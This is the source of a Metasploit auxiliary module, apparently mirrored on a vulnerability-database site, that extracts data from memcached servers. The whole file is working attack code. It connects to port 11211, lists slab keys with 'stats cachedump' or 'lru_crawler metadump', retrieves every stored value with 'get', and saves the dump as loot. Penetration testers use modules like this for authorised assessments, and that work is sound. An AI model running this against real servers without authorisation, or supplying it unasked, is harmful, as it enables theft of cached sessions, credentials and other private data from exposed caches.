##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(
info,
'Name' => 'Memcached Extractor',
'Description' => %q(
This module extracts the slabs from a memcached instance. It then
finds the keys and values stored in those slabs.
),
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
]
))
register_options(
[
Opt::RPORT(11211)
], self.class
)
register_advanced_options(
[
OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]),
OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10])
], self.class
)
end
def max_keys
datastore['MAXKEYS'].to_i
end
def print_keys
datastore['PRINTKEYS'].to_i
end
def localhost?(ip)
%w(localhost 127.0.0.1).include?(ip)
end
# Returns array of keys for all slabs
def enumerate_keys
keys = []
enumerate_slab_ids.each do |sid|
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
loop do
data = sock.recv(4096)
break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
matches = data.scan(/^ITEM (?<key>.*) \[/)
break if matches.empty?
keys = keys + matches.flatten!
break if data =~ /^END/
end
end
keys
end
# Returns array of slab ids as strings
def enumerate_slab_ids
sock.send("stats slabs\r\n", 0)
slab_ids = []
loop do
data = sock.recv(4096)
break if !data || data.length == 0
matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
slab_ids << matches
break if data =~ /^END/
end
slab_ids.flatten!
slab_ids.uniq! || []
end
def enumerate_keys_lru
keys = []
sock.send("lru_crawler metadump all\r\n", 0)
loop do
data = sock.recv(4096)
break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
matches = data.scan(/^key=(?<key>.*) exp=/)
break if matches.empty?
keys = keys + matches.flatten!
break if data =~ /^END/
data = ''
end
keys
end
def data_for_keys(keys = [])
all_data = {}
keys.each do |key|
sock.send("get #{key}\r\n", 0)
data = []
loop do
data_part = sock.recv(4096)
break if !data_part || data_part.length == 0
data << data_part
break if data_part =~ /^END/
end
all_data[key] = data.join
end
all_data
end
def determine_version
sock.send("version\r\n", 0)
stats = sock.recv(4096)
if /^VERSION (?<version>[\d\.]+)/ =~ stats
version
else
nil
end
end
def run_host(ip)
peer = "#{ip}:#{rport}"
vprint_status("Connecting to memcached server...")
begin
connect
if (version = determine_version)
vprint_good("Connected to memcached version #{version}")
if (Rex::Version.new(version) >= Rex::Version.new('1.5.4'))
command_string = "lru_crawler"
else
command_string = 'cachedump'
end
vprint_status("Using #{command_string} to enumerate keys")
unless localhost?(ip)
report_service(
host: ip,
name: 'memcached',
port: rport,
proto: 'tcp',
info: version
)
end
else
print_error("unable to determine memcached protocol version")
return
end
if(command_string=='cachedump')
keys = enumerate_keys
else
keys = enumerate_keys_lru
end
print_good("Found #{keys.size} keys")
return if keys.size == 0
data = data_for_keys(keys)
result_table = Rex::Text::Table.new(
'Header' => "Keys/Values Found for #{peer}",
'Indent' => 1,
'Columns' => [ 'Key', 'Value' ]
)
data.take(print_keys).each { |key, value| result_table << [key, value.inspect] }
print_line
print_line("#{result_table}")
unless localhost?(ip)
path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
print_good("memcached loot stored at #{path}")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
vprint_error("Could not connect to memcached server!")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation